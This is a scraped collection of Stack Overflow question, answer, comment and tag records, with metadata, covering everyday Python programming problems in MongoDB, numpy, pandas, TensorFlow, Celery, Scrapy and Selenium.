has body: I have documents like this: { name: '...' } I want to query for documents which names contains one of: cities = ['a', 'b', 'c'] Of course it's easy to check for exact match like this: col_areas = db['areas'] col_areas.find({'name': {'$in': cities}}) I want use $regex with each item of cities. How to do that? I also have tried: for c in cities: cities_query.append('/^%s/' % c) results = col_areas.find({'name': {'$in': cities_query}})
upvote count: 1
answer count: 1
has title: How to query a string field contains one of array items?
favorite count: 0
has comment: http://stackoverflow.com/comment/84481693
has comment: http://stackoverflow.com/comment/84482569
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/84352758
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48677124
has text: I was able to make this work! I used the "try" portion of this code and it worked. Thank you!

http://stackoverflow.com/a/48734140
type: Answer
has body: You need to create the new version of the file as a NamedTemporaryFile. After you finish constructing it, you then rename it on top of the old file. Code: def insert_line_front(insert_filename, to_insert): with open(insert_filename) as src, tempfile.NamedTemporaryFile( 'w', dir=os.path.dirname(insert_filename), delete=False) as dst: # Discard first line src.readline() # Save the new first line dst.write(to_insert + '\n') # Copy the rest of the file shutil.copyfileobj(src, dst) # remove old version os.unlink(insert_filename) # rename new version os.rename(dst.name, insert_filename) return() Test Code: import os import shutil import sys import tempfile # For noob - Function code goes here filename = os.path.abspath(sys.argv[1]) insert_line_front(filename, filename) Before: /testcode/file1 "-3.588920831680E-02","1.601887196302E-01","1.302309112549E+02" "3.739478886127E-01","1.782759875059E-01","6.490543365479E+01" "3.298096954823E-01","6.939357519150E-02","2.112392578125E+02" "-2.319437451661E-02","1.149862855673E-01","2.712340698242E+0 After: /testcode/file2 "-3.588920831680E-02","1.601887196302E-01","1.302309112549E+02" "3.739478886127E-01","1.782759875059E-01","6.490543365479E+01" "3.298096954823E-01","6.939357519150E-02","2.112392578125E+02" "-2.319437451661E-02","1.149862855673E-01","2.712340698242E+0
upvote count: 4
downvote count: 0
score: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48729665
answers question: http://stackoverflow.com/q/48729665

http://stackoverflow.com/a/48729030
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84602976
has comment: http://stackoverflow.com/comment/84457703
has body: Draw a sequence of sectors from the largest first down to the smallest. Successively smaller circle sectors will be drawn on top of previous ones, giving the region shapes you're looking for. Using your code calling idraw.pieslice, for example, idraw.pieslice([x_center-100, x_center-100, y_center+100, y_center+100], 225, 315, fill='blue') idraw.pieslice([x_center-80, x_center-80, y_center+80, y_center+80], 225, 315, fill='red')
accepted answer of: http://stackoverflow.com/q/48700162
answers question: http://stackoverflow.com/q/48700162
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84457051
upvote count: 2

http://stackoverflow.com/comment/91917607
type: QuestionComment
has text: I was talking about Python. Sorry for forgetting to mention the language.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48680916

http://stackoverflow.com/q/48788169
type: Question
has title: tensorflow TypeError: Fetch argument None has invalid type <class 'NoneType'>
answer count: 2
upvote count: 1
has body: I was doing cs231n assignment 2 and encountered this problem. I'm using tensorflow-gpu 1.5.0 Code as following # define our input (e.g. the data that changes every batch) # The first dim is None, and gets sets automatically based on batch size fed in X = tf.placeholder(tf.float32, [None, 32, 32, 3]) y = tf.placeholder(tf.int64, [None]) is_training = tf.placeholder(tf.bool) # define model def complex_model(X,y,is_training): pass y_out = complex_model(X,y,is_training) # Now we're going to feed a random batch into the model # and make sure the output is the right size x = np.random.randn(64, 32, 32,3) with tf.Session() as sess: with tf.device("/cpu:0"): #"/cpu:0" or "/gpu:0" tf.global_variables_initializer().run() ans = sess.run(y_out,feed_dict={X:x,is_training:True}) %timeit sess.run(y_out,feed_dict={X:x,is_training:True}) print(ans.shape) print(np.array_equal(ans.shape, np.array([64, 10]))) Complete traceback --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-6-97f0b6c5a72e&gt; in &lt;module&gt;() 6 tf.global_variables_initializer().run() 7 ----&gt; 8 ans = sess.run(y_out,feed_dict={X:x,is_training:True}) 9 get_ipython().run_line_magic('timeit', 'sess.run(y_out,feed_dict={X:x,is_training:True})') 10 print(ans.shape) c:\users\kasper\appdata\local\programs\python\python36\lib\site- packages\tensorflow\python\client\session.py in run(self, fetches, feed_dict, options, run_metadata) 893 try: 894 result = self._run(None, fetches, feed_dict, options_ptr, --&gt; 895 run_metadata_ptr) 896 if run_metadata: 897 proto_data = tf_session.TF_GetBuffer(run_metadata_ptr) c:\users\kasper\appdata\local\programs\python\python36\lib\site-packages\tensorflow\python\client\session.py in _run(self, handle, fetches, feed_dict, options, run_metadata) 1111 # Create a fetch handler to take care of the structure of fetches. 1112 fetch_handler = _FetchHandler( -&gt; 1113 self._graph, fetches, feed_dict_tensor,…
favorite count: 0
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48796671
has answer: http://stackoverflow.com/a/49769447
downvote count: 0
score: 1
tagged with: tensorflow

http://stackoverflow.com/q/48646873
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84323318
upvote count: 3
has body: i have a very large 1D python array x of somewhat repeating numbers and along with it some data d of the same size. x = np.array([48531, 62312, 23345, 62312, 1567, ..., 23345, 23345]) d = np.array([0 , 1 , 2 , 3 , 4 , ..., 99998, 99999]) in my context "very large" refers to 10k...100k entries. Some of them are repeating so the number of unique entries is about 5k...15k. I would like to group them into the bins. This should be done by creating two objects. One is a matrix buffer, b of data items taken from d. The other object is a vector v of unique x values each of the buffer columns refers to. Here's the example: v = [48531, 62312, 23345, 1567, ...] b = [[0 , 1 , 2 , 4 , ...] [X , 3 , ....., ...., ...] [ ...., ....., ....., ...., ...] [X , X , 99998, X , ...] [X , X , 99999, X , ...] ] Since the numbers of occurrences of each unique number in x vary some of the values in the buffer b are invalid (indicated by the capital X, i.e. "don't care"). It's very easy to derive v in numpy: v, n = np.unique(x, return_counts=True) # yay, just 5ms and we even get n which is the number of valid entries within each column in b. Moreover, (np.max(n), v.shape[0]) returns the shape of the matrix b that needs to be allocated. But how to efficiently generate b? A for-loop could help b = np.zeros((np.max(n), v.shape[0])) for i in range(v.shape[0]): idx = np.flatnonzero(x == v[i]) b[0:n[i], i] = d[idx] This loop iterates over all columns of b and extracts the indices idxby identifying all the locations where x == v. However I don't like the solution because of the rather slow for loop (taking about 50x longer than the unique command). I'd rather have the operation vectorized. So one vectorized approach would be to create a matrix of indices where x == v and then run the nonzero() command on it along the columns. however, this matrix would require memory in the range of 150k x 15k, so about 8GB on a 32 bit system. To me it sounds rather silly that the np.unique-operation can even efficie…
type: Question
has comment: http://stackoverflow.com/comment/84291100
tagged with: indexing
score: 3
tagged with: binning
accepted answer: http://stackoverflow.com/a/48949867
has comment: http://stackoverflow.com/comment/84324445
has comment: http://stackoverflow.com/comment/84320654
tagged with: set-operations
tagged with: numpy
answer count: 2
has comment: http://stackoverflow.com/comment/84320607
downvote count: 0
possible better answer: http://stackoverflow.com/a/48665614
has title: Efficient bin-assignment in numpy
favorite count: 0
linked to: http://stackoverflow.com/q/48690864
has answer: http://stackoverflow.com/a/48665614
has comment: http://stackoverflow.com/comment/84300943
has answer: http://stackoverflow.com/a/48949867

http://stackoverflow.com/comment/84364287
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48679718
score: 0
has text: @api55 Ok, the hardest part you mentioned (getting the Ys) is where I am stuck at, I'm still thinking for different approaches to get the Ys. I'll update as soon as I find a proper way to achieve that.

http://stackoverflow.com/comment/84513589
type: AnswerComment
has text: Click on the tick underneath the number of votes for this answer. If you click on the tick it shows that you accepted this answer.
type: Comment
comment on: http://stackoverflow.com/a/48751388
score: 0

http://stackoverflow.com/comment/87819946
comment on: http://stackoverflow.com/q/48742044
score: 0
type: QuestionComment
type: Comment
has text: At what point are you getting this error? On the Image.open()? the image_to_string() ??

http://stackoverflow.com/q/48748555
has answer: http://stackoverflow.com/a/48923924
has body: I have a queue with concurrency of 10, and when I have 11 tasks running at the same time, Celery doesn't sends anything to the result backend for 11th task, therefore it is not possible to fetch the status of that 1 extra task. I have tested this situation with Redis and MySQL as the result backend. Am I missing something or is there anyway to setup a custom state for those pending tasks?
tagged with: python
type: AnsweredQuestion
tagged with: mysql
tagged with: celery
accepted answer: http://stackoverflow.com/a/48923924
type: Question
score: 0
has title: Tasks status before starting with concurrency option
answer count: 1

http://stackoverflow.com/comment/84539072
score: 0
comment on: http://stackoverflow.com/q/48767342
type: Comment
type: QuestionComment
has text: Tell the team fetching the data that if they want their column to have a nice name for presentation that the value belongs at the presentation layer. We don't modify the database so it looks pretty to the end user.

http://stackoverflow.com/a/48828979
type: Answer
has body: since there were 2 conditions to match for the 2nd groupby, I solved this by moving the filter into the df by creating a new column which is used as a filter (with both 2 filters). than there was no problem to groupby the order was the problem
accepted answer of: http://stackoverflow.com/q/48730906
score: 0
answers question: http://stackoverflow.com/q/48730906
type: AcceptedAnswer

http://stackoverflow.com/comment/84428643
score: 0
comment on: http://stackoverflow.com/a/48714635
has text: Please note that I edited the title to make it more readable, it may be that it caused too much deviation from the actual question.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84549041
type: Comment
comment on: http://stackoverflow.com/a/48694941
score: 1
type: AnswerComment
has text: Thanks this have done the trick. By using the correct parameters you suggested i get now the format i needed. Thanks!

http://stackoverflow.com/a/48789561
has comment: http://stackoverflow.com/comment/84587328
has body: I don't know what is your end goal, but think you can do this, create dict all_responses and after each URL is scraped, put that into dictionary as url being the key. You can use self.all_responses["MY_LINK_HERE"] to access any Domain object based on link. class MainSpider(CrawlSpider): name = 'main_spider' rules = ( Rule(LinkExtractor(), callback='parse_item', follow=True,), ) all_responses = {} def start_requests(self): for d in Domain.objects.all(): self.allowed_domains.append(d.name) yield scrapy.Request(d.main_url,callback=self.parse,meta={'domain':d}) def parse_item(self, response): self.all_responses[response.url] = response.meta['domain'] I think do not use Rule class, instead use LinkExtractor so you have freedom of sending meta variable along with request. or do this, from scrapy.linkextractors import LinkExtractor extractor = LinkExtractor(allow_domains="www.website.com") links = extractor.extract_links(response) for link in links: yield scrapy.Request(link.url, callback=self.my_callback)
has comment: http://stackoverflow.com/comment/84587921
score: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84587558
downvote count: 0
answers question: http://stackoverflow.com/q/48789173
has comment: http://stackoverflow.com/comment/84587769
accepted answer of: http://stackoverflow.com/q/48789173
type: Answer
has comment: http://stackoverflow.com/comment/84587492
has comment: http://stackoverflow.com/comment/84587887
upvote count: 2
has comment: http://stackoverflow.com/comment/84588237
has comment: http://stackoverflow.com/comment/84587431
has comment: http://stackoverflow.com/comment/84587913

http://stackoverflow.com/a/48776534
has body: The problem is in your for statement: for char in message: This iterates through the individual characters of the message. Your decoding, however, requires that you take 4-character slices of the input string. Instead, try something like for i in range(0, len(message), 4): char = message[i:i+3] ... Beyond that, there are many improvements to make int the code -- most especially, a translation table of some sort @eagle already suggested the most common, a dictionary.
downvote count: 0
answers question: http://stackoverflow.com/q/48776440
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/a/48668213
score: 1
answers question: http://stackoverflow.com/q/48668127
type: Answer
upvote count: 1
has body: If you loop mydict.items() you will recibe key, value pairs: for num, data in mydict.items(): print(data["agent"]) print(data["manager"])
downvote count: 0

http://stackoverflow.com/comment/84333671
type: Comment
comment on: http://stackoverflow.com/a/48667608
has text: Thank you! This is fantastic. I was working with this: `from pandas.io.json import json_normalize import json import sqlite3 sqlite_file = 'file.sqlite3' conn = sqlite3.connect(sqlite_file) c = conn.cursor() with open('airports.json') as data_file: d = json.load(data_file) df = json_normalize(d) df.to_sql('airports', conn, if_exists="replace") print(df)` but couldnt get the data to present as rows as opposed to columns. Thanks again, this is fantastic.
type: AnswerComment
score: 0

http://stackoverflow.com/q/48737447
has title: How to filter a numpy array using a condition in python
tagged with: python
has body: I am using my numpy array v as follows to remove elements that are &lt;=1 and then select the indexes of the top 3 elements in the numpy array. for ele in v.toarray()[0].tolist(): if ele &lt;= 1: useless_index = v.toarray()[0].tolist().index(ele) temp_list.append(useless_index) #take top 3 words from each document indexes =v.toarray()[0].argsort()[-3:] useful_list = list(set(indexes) - set(temp_list)) However, the current code I am using is very slow (as I have millions of numpy arrays) and take days to run. Is there any efficient way of doing the same thing in python?
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/84474738
upvote count: 3
has answer: http://stackoverflow.com/a/48737579
type: Question
tagged with: numpy
linked to: http://stackoverflow.com/q/6910641
has comment: http://stackoverflow.com/comment/84474686
has comment: http://stackoverflow.com/comment/84474657
accepted answer: http://stackoverflow.com/a/48737579
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/q/48672879
has comment: http://stackoverflow.com/comment/84344694
has comment: http://stackoverflow.com/comment/84352410
has comment: http://stackoverflow.com/comment/84344579
has comment: http://stackoverflow.com/comment/84351045
tagged with: azure-cognitive-services
type: UnansweredQuestion
tagged with: windows
tagged with: python
has comment: http://stackoverflow.com/comment/84344154
answer count: 0
type: Question
tagged with: raspbian
has title: Python - response.read() runs smoothly in Windows but not at all in Raspbian
linked to: http://stackoverflow.com/q/42003141
has body: I'm trying to run the program which uses Microsoft Emotion API program here in my raspberry pi3. I tried it on Windows on version Python3.6.4 and it runs perfectly alright. However, when I try it on Raspberrypi3, using the default python3.5 (which does not have http.client) AND also python3.6.2 IDLE (How to start IDLE that comes with Python 3.6), the program either (1) does NOT run at all, (2) or gives a time-out error, (3) or a b'{"error":{"code":"InvalidImageSize","message":"Image size is too small or too big."}}' error. I have also tried to run it on python3.6 under env environment but to no avail. It did not even print happiness which is supposed to return a float value. Please advice why and how can I make it work on Raspberry Pi, thank you very much! Have it got to do with the python version? The API? The codes are as follows: import http.client, urllib.request, urllib.parse, urllib.error, base64, sys import json headers = { 'Content-Type': 'application/octet-stream', 'Ocp-Apim-Subscription-Key': 'MY-KEY', } params = urllib.parse.urlencode({ }) body = open('1.jpg','rb').read() print ('begin') conn = http.client.HTTPSConnection('westus.api.cognitive.microsoft.com') print ('connection') conn.request("POST", "/emotion/v1.0/recognize?%s" % params, body, headers) print ('request') response = conn.getresponse() print ('donerequest') data = response.read() print(data) faces = json.loads(data) happiness = faces[0]['scores']['happiness'] if len(faces)&gt;0 else 0 print (happiness) with open('result.txt', 'a') as out: out.write("1"+ '\n') conn.close() Problem: stops at print(data): b'{"error":{"code": "timeout", "message": "the operation was timeout." }}' Traceback (most recent call last): File.... in line 31 in &lt;module&gt; happiness = faces[0]['scores']['happiness'] if len(faces)&gt;0 else 0 keyerror: 0. It seems that the problem happens at data = response.read() as print(data) returns with "operation is timeout" error". May I know how should I edit it in raspbian a…
score: 0

http://stackoverflow.com/a/48773837
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48773663
has comment: http://stackoverflow.com/comment/84551065
accepted answer of: http://stackoverflow.com/q/48773663
type: AcceptedAnswer
downvote count: 0
has body: From the boto3 documentation (https://boto3.readthedocs.io/en/latest/guide/s3-example-download-file.html) The example is : s3.Bucket(BUCKET_NAME).download_file(KEY, 'my_local_image.jpg') It is specifying the target filename (my_local_image.jpg) and not only the directory where to save the file. So your code should be : s3.Bucket('kapps2.services-exchange.com').download_file('myconfig.py', 'C:/data/myconfig.py')

http://stackoverflow.com/q/48725520
type: Question
has body: 0 2 0 -0.089329 -0.945867 1 -0.932132 0.017587 2 -0.016692 0.254161 3 -1.143704 1.193555 4 -0.077118 -0.862495 df.values gives [[-0.089329, -0.945867], [-0.932132, 0.017587], ...] But I want: [[-0.089329, -0.932132, ...], [-0.945867, 0.0.017587, ...]]
accepted answer: http://stackoverflow.com/a/48725531
tagged with: pandas
answer count: 1
downvote count: 0
favorite count: 0
has title: Get dataframe values by down instead of across?
tagged with: python
has answer: http://stackoverflow.com/a/48725531
type: AnsweredQuestion
score: 1
upvote count: 1

http://stackoverflow.com/comment/84486335
has text: You are using the exact same `for course in courses` loop in both instances, without, as far as I can tell, changing what `courses` represents. How are you expecting it to know which courses belong to the specific faculty?
comment on: http://stackoverflow.com/q/48742141
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48795041
has body: You can turn you logic into a function and use df.pipe. Something like the below could work (untested). def formatter(df): df = df[1:] new_header = df.iloc[0] df = df[1:] df.columns = new_header return df for my_df in [df1, df2, df3, df4, df5, df6]: my_df = my_df.pipe(formatter)
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/48794940
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84592918
has comment: http://stackoverflow.com/comment/84593150
has comment: http://stackoverflow.com/comment/84592782

http://stackoverflow.com/comment/84465954
comment on: http://stackoverflow.com/a/48733289
type: AnswerComment
has text: if you need to access those fields you need to put the args inside the if form.is_valid()
score: 0
type: Comment

http://stackoverflow.com/comment/84467637
type: QuestionComment
score: 0
has text: Please extend your post for **urls.py** and corresponding view so that we can analyze your problem.
comment on: http://stackoverflow.com/q/48734161
type: Comment

http://stackoverflow.com/comment/84409285
type: QuestionComment
has text: Maybe try the same with debug enabled. https://docs.python.org/3/library/asyncio-dev.html ?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48705362

http://stackoverflow.com/comment/84535146
type: Comment
type: QuestionComment
score: 0
has text: You should just do `print(int(item))`. Why do you need the `sum`?
comment on: http://stackoverflow.com/q/48767440

http://stackoverflow.com/comment/84352128
type: QuestionComment
has text: How about a [mcve] with some data and output? This isn't enough to answer your question, not nearly.
comment on: http://stackoverflow.com/q/48676872
score: 4
type: Comment

http://stackoverflow.com/q/48766063
type: Question
has answer: http://stackoverflow.com/a/64847929
tagged with: web-traffic
answer count: 1
downvote count: 0
has title: Linear regression with Python
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: machine-learning
tagged with: python
has body: I am studying "Building Machine Learning System With Python (2nd)". I have a silly doubt in very first chapters' answer part. According to the book and based on my observation I always get 2nd order polynomial as the best fitting curve. whenever I train my system with training dataset, I get different Test error for different Polynomial Function. Thus my parameters of the equation also differs. But surprisingly, I get approximately same answer every time in the range 9.19-9.99 . My final hypothesis function each time have different parameters but I get approximately same answer. Can anyone tell me the reason behind it? [FYI:I am finding answer for y=100000] I am sharing the code sample and the output of each iteration. Here are the errors and the corresponding answers with it: https://i.sstatic.net/alVzU.png https://i.sstatic.net/JVGSm.png https://i.sstatic.net/RB53X.png Thanks in advance! def error(f, x, y): return sp.sum((f(x)-y)**2) import scipy as sp import matplotlib.pyplot as mp data=sp.genfromtxt("web_traffic.tsv",delimiter="\t") x=data[:,0] y=data[:,1] x=x[~sp.isnan(y)] y=y[~sp.isnan(y)] mp.scatter(x,y,s=10) mp.title("web traffic over the month") mp.xlabel("week") mp.ylabel("hits/hour") mp.xticks([w*24*7 for w in range(10)],["week %i"%i for i in range(10)]) mp.autoscale(enable=True,tight=True) mp.grid(color='b',linestyle='-',linewidth=1) mp.show() infletion=int(3.5*7*24) xa=x[infletion:] ya=y[infletion:] f1=sp.poly1d(sp.polyfit(xa,ya,1)) f2=sp.poly1d(sp.polyfit(xa,ya,2)) f3=sp.poly1d(sp.polyfit(xa,ya,3)) print(error(f1,xa,ya)) print(error(f2,xa,ya)) print(error(f3,xa,ya)) fx=sp.linspace(0,xa[-1],1000) mp.plot(fx,f1(fx),linewidth=1) mp.plot(fx,f2(fx),linewidth=2) mp.plot(fx,f3(fx),linewidth=3) frac=0.3 partition=int(frac*len(xa)) shuffled=sp.random.permutation(list(range(len(xa)))) test=sorted(shuffled[:partition]) train=sorted(shuffled[partition:]) fbt1=sp.poly1d(sp.polyfit(xa[train],ya[train],1)) fbt2=sp.poly1d(sp.polyfit(xa[train],ya[train],2)) fbt3=sp.pol…
tagged with: linear-regression
score: 1
upvote count: 1

http://stackoverflow.com/a/48647217
type: Answer
answers question: http://stackoverflow.com/q/48646739
score: 3
has comment: http://stackoverflow.com/comment/136483022
downvote count: 1
has body: You can use the pandas function get_dummies, and add the result to df as shown below In [1]: col_names = df['source_column'].dropna().unique().tolist() In [2]: df[col_names] = pd.get_dummies(df['source_column']) In [3]: df Out[3]: ID source_column value 1 value 2 value 3 0 A value 1 1 0 0 1 B NaN 0 0 0 2 C value 2 0 1 0 3 D value 3 0 0 1 4 E value 2 0 1 0
upvote count: 4

http://stackoverflow.com/a/48735516
downvote count: 0
answers question: http://stackoverflow.com/q/48735417
has body: As you're probably aware, at the time when you define the classmethod, myClass doesn't yet exist, so you can't reference it directly. The prescribed alternative is to use string representations of the object. It's not perfect, but at the end of the day type-hinting is not a strict means of enforcement; it's just an informal hint. From PEP 484: When a type hint contains names that have not been defined yet, that definition may be expressed as a string literal, to be resolved later. class myClass: @classmethod def load(cls, filename) -&gt; 'myClass': with open(filename,'rb') as f: return pickle.load(f) In fact, there's an example very similar to yours from that PEP: class Tree: def __init__(self, left: 'Tree', right: 'Tree'): self.left = left self.right = right
accepted answer of: http://stackoverflow.com/q/48735417
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/84450800
has text: I found that I had to click away an accept cookies pop up. Then it worked. My version of chromedriver is already 2.33.
comment on: http://stackoverflow.com/a/48715853
type: AnswerComment
score: 0
type: Comment

dialogflow-es
tag name: dialogflow-es
tags question: http://stackoverflow.com/q/48745887
type: Tag
tags question: http://stackoverflow.com/q/48777090
tags question: http://stackoverflow.com/q/48791436

http://stackoverflow.com/q/48782713
accepted answer: http://stackoverflow.com/a/48782918
score: -3
has comment: http://stackoverflow.com/comment/84566955
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48782918
has comment: http://stackoverflow.com/comment/84567785
downvote count: 3
has title: Python2.7 Code refactor
type: Question
tagged with: python-2.7
answer count: 1
has body: My PR will get denied if I try merge this. How can I refactor this to be more elegant/shorter/have more meaning? if len(my_list) &lt; 2: raise Error("No List to preview") if license_metadata[0]["active"] active = ListSetting(**my_list[0] preview = ListSetting(**my_list[1]) else: active = ListSetting(**my_list[1] . preview = ListSetting(**my_list[0]) Sorry I had to make var names generic. Codebase is private &amp; under NDA.
has comment: http://stackoverflow.com/comment/84567345
linked to: http://stackoverflow.com/q/36901
has comment: http://stackoverflow.com/comment/84566753
tagged with: python
has comment: http://stackoverflow.com/comment/84566716
favorite count: 0
upvote count: 0
has comment: http://stackoverflow.com/comment/84566715
has comment: http://stackoverflow.com/comment/84567370

http://stackoverflow.com/comment/84447420
score: 0
has text: You can use [`functools.cmp_to_key`](https://docs.python.org/3/library/functools.html#functools.cmp_to_key) to convert old-style `cmp` functions to new `key` functions.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/48721697

http://stackoverflow.com/comment/123016229
score: 2
comment on: http://stackoverflow.com/a/69595137
has text: Please edit your answer with an explanation of how your code works.
type: AnswerComment
type: Comment

docker-container
type: Tag
tag name: docker-container
tags question: http://stackoverflow.com/q/48681755

http://stackoverflow.com/comment/84295885
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48649108
has text: have you had a go yourself? hint: one brute-force way is to add 2 columns: one with the month name which has a float, one with the float. Then create a date column combining year & month. Then drop the columns you don't want.

http://stackoverflow.com/q/48767750
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/84537189
tagged with: opencv
has answer: http://stackoverflow.com/a/48771960
tagged with: python-imaging-library
has comment: http://stackoverflow.com/comment/84547391
type: UnansweredQuestion
has body: I have an image and and am transforming it with a nonlinear spatial transformation. I have a written a function that, for every pixel (i, j) in the destination image array, returns a coordinate (y, x) in the source array. The returned coordinate is a floating point value, meaning that it corresponds to a point that lies between the pixels in the source image. Does anyone know if there an established method in PIL or opencv to interpolate the value of this subpixel, or should I roll my own? Thanks!
downvote count: 0
score: 1
has title: estimation of subpixel values from images in Python
has comment: http://stackoverflow.com/comment/84537119
has comment: http://stackoverflow.com/comment/84546150
favorite count: 0
type: Question
tagged with: python
linked to: http://stackoverflow.com/q/13299409
duplicate of: http://stackoverflow.com/q/13299409
tagged with: image-processing

django-haystack
tags question: http://stackoverflow.com/q/48684419
type: Tag
tag name: django-haystack

http://stackoverflow.com/a/48824875
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48670361
has body: Your code is absolutely fine. Problem is with Jython. Jython doesn't support Pandas dataframe because it was written in C/C++. So cheer up! Hope you like my answer! Yippee!!
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48670361
type: AcceptedAnswer

http://stackoverflow.com/a/48688580
has body: Take a look at Selenium http://selenium-python.readthedocs.io/ from selenium import webdriver import time options = webdriver.ChromeOptions() options.add_argument('--ignore-certificate-errors') options.add_argument("--test-type") options.binary_location = "/usr/bin/chromium" driver = webdriver.Chrome(chrome_options=options) driver.get('http://codepad.org') # click radio button python_button = driver.find_elements_by_xpath("//input[@name='lang' and @value='Python']")[0] python_button.click() # type text text_area = driver.find_element_by_id('textarea') text_area.send_keys("print('Hello World')") # click submit button submit_button = driver.find_elements_by_xpath('//*[@id="editor"]/table/tbody/tr[3]/td/table/tbody/tr/td/div/table/tbody/tr/td[3]/input')[0] submit_button.click() (Code stolen from https://pythonspot.com/selenium-click-button/)
has comment: http://stackoverflow.com/comment/84408827
has comment: http://stackoverflow.com/comment/84416520
downvote count: 1
has comment: http://stackoverflow.com/comment/84416131
answers question: http://stackoverflow.com/q/48688347
has comment: http://stackoverflow.com/comment/84409160
type: Answer
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/84409302

http://stackoverflow.com/comment/84415003
type: AnswerComment
comment on: http://stackoverflow.com/a/48666703
score: 0
type: Comment
has text: You can also add the lines to the __init__.py of a directory, all the python files in that directory should then have access to the scripts.

http://stackoverflow.com/a/48724217
accepted answer of: http://stackoverflow.com/q/48723711
type: Answer
upvote count: 16
score: 16
answers question: http://stackoverflow.com/q/48723711
has comment: http://stackoverflow.com/comment/84447801
type: AcceptedAnswer
downvote count: 0
has body: Mock the requests.post function, and on the mock set the side_effect attribute to the desired exception: @patch('requests.post') def test_request_post_exception(self, post_mock): post_mock.side_effect = requests.exceptions.ConnectionError() # run your test, code calling `requests.post()` will trigger the exception. From the linked documentation: This can either be a function to be called when the mock is called, an iterable or an exception (class or instance) to be raised. [...] An example of a mock that raises an exception (to test exception handling of an API): &gt;&gt;&gt; mock = Mock() &gt;&gt;&gt; mock.side_effect = Exception('Boom!') &gt;&gt;&gt; mock() Traceback (most recent call last): ... Exception: Boom! (Bold emphasis mine). This is also covered in the Quick Guide section: side_effect allows you to perform side effects, including raising an exception when a mock is called: &gt;&gt;&gt; mock = Mock(side_effect=KeyError('foo')) &gt;&gt;&gt; mock() Traceback (most recent call last): ... KeyError: 'foo'

http://stackoverflow.com/q/48661803
has comment: http://stackoverflow.com/comment/84321438
has comment: http://stackoverflow.com/comment/84322198
has comment: http://stackoverflow.com/comment/84321126
has comment: http://stackoverflow.com/comment/84321015
upvote count: 1
answer count: 1
tagged with: sorting
has answer: http://stackoverflow.com/a/48677924
favorite count: 0
has comment: http://stackoverflow.com/comment/84321257
has comment: http://stackoverflow.com/comment/84321585
has comment: http://stackoverflow.com/comment/84323126
downvote count: 3
has comment: http://stackoverflow.com/comment/84321028
has comment: http://stackoverflow.com/comment/84328885
has title: Why is insertion sort running O(n^2) on a sorted list?
has comment: http://stackoverflow.com/comment/84321186
tagged with: python
has comment: http://stackoverflow.com/comment/84321085
has comment: http://stackoverflow.com/comment/84321327
has body: I'm doing algorithm analysis in Python and in short I ran into what I suspect is a problem. I need to analyze the run time of insertion sort on sorted arrays so I have the following code def insertionSort(arr1): t1 = time.time(); insertion_sort.sort(arr1) t2 = time.time(); print (len(arr1)); print (str(t2-t1)); ... print ('Insertion Sort Beginning'); for x in range(0,15): #Creates arrays of various sizes with integers from 0-100 randomly sprawled about. They are named after the power of 10 the size is toSort1 = [randint(0,100)] * randint(100000,10000000); #Presorts the array, insertion sort is faster for small inputs sorted_list = insertion_sort.sort(toSort1); ################################## insertionSort(sorted_list); The problem is the output of this is O(n^2)! I'm new to Python so I figure this is probably a semantics error I didn't catch. insertion_sort should be assumed to be correct, but can be reviewed here. This could only be the case if it was sorted in reverse order when it was timed but it was literally passed to the same sorter twice. How could this be? This is a graphical representation of the output
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84322109
type: Question
tagged with: algorithm
score: -2
has comment: http://stackoverflow.com/comment/84321983

size
type: Tag
tags question: http://stackoverflow.com/q/48727120
tag name: size

http://stackoverflow.com/a/58538110
downvote count: 0
has comment: http://stackoverflow.com/comment/105563991
accepted answer of: http://stackoverflow.com/q/48752888
answers question: http://stackoverflow.com/q/48752888
upvote count: 2
has comment: http://stackoverflow.com/comment/103432412
has comment: http://stackoverflow.com/comment/105578935
type: AcceptedAnswer
has body: Here is an answer using pyranges and pandas. It is improved in that it does the merging really quickly, is easily parallelizeable and super duper fast even in single-core mode. Setup: import pandas as pd import pyranges as pr import numpy as np rows = int(1e7) gr = pr.random(rows) gr.probability = np.random.rand(rows) gr.read = np.arange(rows) print(gr) # +--------------+-----------+-----------+--------------+----------------------+-----------+ # | Chromosome | Start | End | Strand | probability | read | # | (category) | (int32) | (int32) | (category) | (float64) | (int64) | # |--------------+-----------+-----------+--------------+----------------------+-----------| # | chr1 | 149953099 | 149953199 | + | 0.7536048547309669 | 0 | # | chr1 | 184344435 | 184344535 | + | 0.9358130407479777 | 1 | # | chr1 | 238639916 | 238640016 | + | 0.024212603310159064 | 2 | # | chr1 | 95180042 | 95180142 | + | 0.027139751993808026 | 3 | # | ... | ... | ... | ... | ... | ... | # | chrY | 34355323 | 34355423 | - | 0.8843190383030953 | 999996 | # | chrY | 1818049 | 1818149 | - | 0.23138017743097572 | 999997 | # | chrY | 10101456 | 10101556 | - | 0.3007915302642412 | 999998 | # | chrY | 